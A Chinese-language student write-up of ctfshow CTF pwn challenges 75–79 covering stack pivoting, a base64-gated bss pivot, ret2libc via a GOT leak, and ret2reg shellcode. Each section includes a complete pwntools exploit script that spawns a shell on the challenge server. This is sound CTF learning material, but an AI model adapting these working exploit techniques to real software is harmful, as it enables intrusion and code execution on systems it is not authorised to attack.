ctfshow做题笔记—栈溢出—pwn75~pwn79
目录
前言
一、pwn75(栈空间不够怎么办?)
二、pwn76
三、pwn77(Ez ROP or Mid ROP ?)
四、pwn79(你需要注意某些函数,这是解题的关键!)
前言
嘿嘿,隔了一段时间没有做pwn题了(主播脱单了),现在继续做一些题,学到一些新东西,记录一下。
一、pwn75(栈空间不够怎么办?)
程序开了NX保护,写入shellcode不是太可行,但也说不定,ret2syscall就可以绕过,总之先看一看程序。
读了一下代码主要是你和老朋友很久不见,然后输入名字,来运行一下。
int ctfshow()
{
char s; // [sp+0h] [bp-28h]@1
memset(&s, 0, 0x20u);
read(0, &s, 0x30u);
printf("Welcome, %s\n", &s);
puts("What do you want to do?");
read(0, &s, 0x30u);
return printf("Nothing here ,%s\n", &s);
}
下意识想要看一看&s:
-00000028 s db ?
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
0x28+0x4
可能会造成栈溢出,应该可以利用
先了解一下什么是栈迁移,看了很多篇文章,最后问了问人机(很好的学习助手啊):
栈迁移是一种在栈溢出时,用于构建新栈空间以容纳payload的技术。其基本原理是通过控制ebp寄存器的值,借助leave指令间接控制esp寄存器的值,从而实现栈的迁移。
工作原理
1、栈溢出与寄存器控制:当栈溢出发生时,如果溢出长度不足以容纳整个payload,可以利用栈迁移。此时,攻击者会覆盖栈中的ebp和eip寄存器。通过控制ebp的值,可以指定新的栈空间的起始位置。
2、关键指令leave的作用:leave指令等效于mov esp, ebp; pop ebp,它将ebp的值赋给esp,然后弹出ebp的值。这样,esp就会指向新的栈空间,从而实现栈的迁移。
3、多次迁移的实现:在某些情况下,可能需要进行多次栈迁移。每次迁移时,都需要提前计算并布置好新的栈空间的地址信息,以便在执行leave指令时能够正确地迁移到新的栈空间。
主要原因就是栈溢出之后,比如这道题剩下的栈空间已经不足以装下整个payload,利用栈迁移就可以将esp这个栈指针指向新的栈空间,这样就可以继续写入我们的payload了。
做题过程中发现一个卡脖子问题啊,利用pwndbg动态调试,查看执行到leave的过程中ebp的变化和偏移量。
记录一下这个调试过程:
b ctfshow
run
命令n为逐步执行
命令s是直接进入函数,可以直接看到buf
stack就可以看到栈的情况了,计算一下用ebp表示buf的位置
buf = ebp-0x38
再第一次输入完成之后,会进行第二次输入,我们会在buf中利用现有的system写入system("/bin/sh")
(看了一下官方wp)由于程序中有system函数,直接利用 ,前面的一部分是用来填充buf,就是后面的p32(buf-4) + p32(leave)
p32(buf-4) 是将ebp覆盖成buf的地址-4,因为我们利用的是两个leave,但是第二个
leave的pop ebp,在出栈的时候会esp+4。就会指向esp+4的位置, p32(leave) ,将返回地址覆盖成leave ,到这里,我们成功将栈劫持到了我们的buf处,接下来就会执行栈里的内容。
leave= 0x8048766
这道题的exp不太会写,学着写一下,这里发送为了避免错误用send比较好,sendline打不通。
from pwn import *
context(arch="i386",log_level="debug")
p=remote("pwn.challenge.ctf.show",28256)
elf = ELF('./pwn75')
system = elf.plt['system']
leave = 0x08048766
payload1 = b'a' * 0x24 + b'bbbb'
p.recvuntil("codename:")
p.send(payload1)
p.recvuntil("bbbb")
ebp = u32(p.recv(4))
print(hex(ebp))
buf = ebp - 0x38
payload2 = (b'aaaa' + p32(system) + b'aaaa' + p32(buf + 16) +
b'/bin/sh\x00').ljust(0x28,b'a') + p32(buf) + p32(leave)
p.send(payload2)
p.interactive()
二、pwn76
[*] '/home/kali/桌面/ctfshoww/pwn76'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
这道题应该要仔细的阅读代码,就直接拖进ida吧。
先看看main函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+18h] [bp-28h]@1
__int16 v5; // [sp+1Eh] [bp-22h]@1
unsigned int v6; // [sp+3Ch] [bp-4h]@1
memset(&v5, 0, 0x1Eu);
setvbuf(stdout[0], 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
printf("CTFshow login: ");
_isoc99_scanf("%30s", &v5);//只输入30个字节到v5
memset(&input, 0, 0xCu);
v4 = 0;
v6 = Base64Decode((int)&v5, &v4);//应该是将v5的base64解码储存到v4
//检测解码后的长度,如果超过 0xC就输出Input Error!
if ( v6 > 0xC )
{
puts("Input Error!");
}
else
{
memcpy(&input, v4, v6);//这里memcpy把数据填充到input所在bass段
if ( auth(v6) == 1 )
correct();
}
return 0;
}
为知道v6我们需要看看Base64Decode函数:
v2 = calcDecodeLength(a1);
猜测应该是解码以后的长度
当然满足长度条件就需要了解一下auth()干了什么:
_BOOL4 __cdecl auth(int a1)
{
char v2; // [sp+14h] [bp-14h]@1
char *s2; // [sp+1Ch] [bp-Ch]@1
int v4; // [sp+20h] [bp-8h]@1
memcpy(&v4, &input, a1);
s2 = (char *)calc_md5((int)&v2, 12);
printf("hash : %s\n", s2);//输出md5的哈希值
return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}
最后应该就是后面了:
void __noreturn correct()
{
if ( input == -559038737 )
{
puts("Wow Fantastic,you deserve it!");
system("/bin/sh");
}
exit(0);
}
mov ebp,esp;pop ebp的时候,esp寄存器的值要减4,所以payload的前四个字节填
充垃圾数据。
构造完payload需要先加密一下再发送。
找地址:
.bss:0811EB40 input db ? ;
0804928B call system
bass = 0x811EB40
sysbin = 0x804928B
但是官方wp没打出来,重新改了改:
from pwn import *
import base64
context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28240)
input_addr = 0x811EB40
shell = 0x8049284
payload = b'aaaa' + p32(shell) + p32(input_addr)
# 使用base64.b64encode对字节串进行Base64编码
encoded_payload = base64.b64encode(payload)
p.sendlineafter(": ", encoded_payload)
p.interactive()
三、pwn77(Ez ROP or Mid ROP ?)
先看看有什么保护:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
有一个NX,先拖进ida看看:
__int64 ctfshow()
{
int v0; // eax@3
__int64 result; // rax@5
char v2[267]; // [sp+0h] [bp-110h]@3
char v3; // [sp+10Bh] [bp-5h]@2
int v4; // [sp+10Ch] [bp-4h]@1
v4 = 0;
while ( !feof(stdin) )
{
v3 = fgetc(stdin);
if ( v3 == 10 )
break;
v0 = v4++;
v2[v0] = v3;
}
result = v4;
v2[v4] = 0;
return result;
}
这个ctfshow看不太懂的样子。
但是大概可以看出v4控制v2数组,栈溢出时会覆盖v4,当这个覆盖到v4时覆盖为返回地址就可以在返回地址写入ROP。当然需要用到rdi,ret。把之前的知识操作一遍,有点忘了。
其实在ctfshow下一个断点调试一下也可以大概知道填充0x110 - 4。
看了官方wp还加了一个'\x18'。
找一下pop rdi;ret和ret
ROPgadget --binary ./pwn77 --only "pop|ret"
0x00000000004008e3 : pop rdi ; ret
0x0000000000400576 : ret
rdi=0x4008e3
ret=0x400576
我们利用fgetc来泄露地址。
from pwn import*
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28253)
e=ELF("./pwn77")
libc=ELF("/home/kali/桌面/ctfshoww/libc.so.6")
offset=0x110 - 0x4
rdi=0x4008e3
ret=0x400576
fgetc_got=e.got['fgetc']
main=e.sym['main']
puts_plt=e.plt['puts']
payload1=b'a'*offset+b'\x18'+p64(rdi)+p64(fgetc_got)+p64(puts_plt)+p64(main)
p.sendlineafter("T^T\n",payload1)
fgetc = u64(p.recv(6).ljust(8, b"\x00"))
print(hex(fgetc))
base_ar=fgetc-libc.sym['fgetc']
sys=base_ar+libc.sym['system']
binsh=base_ar+next(libc.search(b'/bin/sh'))
payload2=b'a'*offset+b'\x18'+p64(rdi)+p64(binsh)+p64(ret)+p64(sys)
p.sendlineafter("T^T\n",payload2)//如果不说明在哪里写入payload可能打不通
p.interactive()
四、pwn79(你需要注意某些函数,这是解题的关键!)
直接拖进32位ida看看:
void __cdecl ctfshow(char *input)
{
char buf[512]; // [sp+0h] [bp-208h]@1
_x86_get_pc_thunk_ax();
strcpy(buf, input);//这个函数一眼可利用,把输入复制到buf,需要填充512+4
}
但是后面就不知道怎么利用了,学习一点新知识。
ret2reg:
Ret2reg 是一种利用技术,通过控制寄存器的值来间接控制程序的执行流。其核心思想是利用程序中某些寄存器指向的地址(如栈上的缓冲区地址),并通过查找 jmp reg 或 call reg 指令,将程序的控制流转移到该寄存器指向的地址,从而执行注入的 shellcode。(就是一种注入shellcode的方式,核心是利用程序中某些寄存器指向的地址)
首先查看溢出函返回时哪个寄存值指向溢出缓冲区空间:
可以用pwndbug下断点调试一下:
在ctfshow中leave处下一个断点。
注意到:0x080486ad <+47>: leave
可以看到,eax,edx,esp都有用到
接下来就是找call / jmp 指令:
ROPgadget --binary ./pwn79 --only "call|jmp"
eax = 0x080484a0
from pwn import *
context(arch="i386",log_level="debug")
p=remote("pwn.challenge.ctf.show",28223)
shellcode=asm(shellcraft.sh())
calleax=0x080484a0
payload=flat([shellcode,'a'*(0x20c-len(shellcode)),calleax])
p.recvuntil("Enter your input:")
p.sendline(payload)
p.interactive()
继续学习中......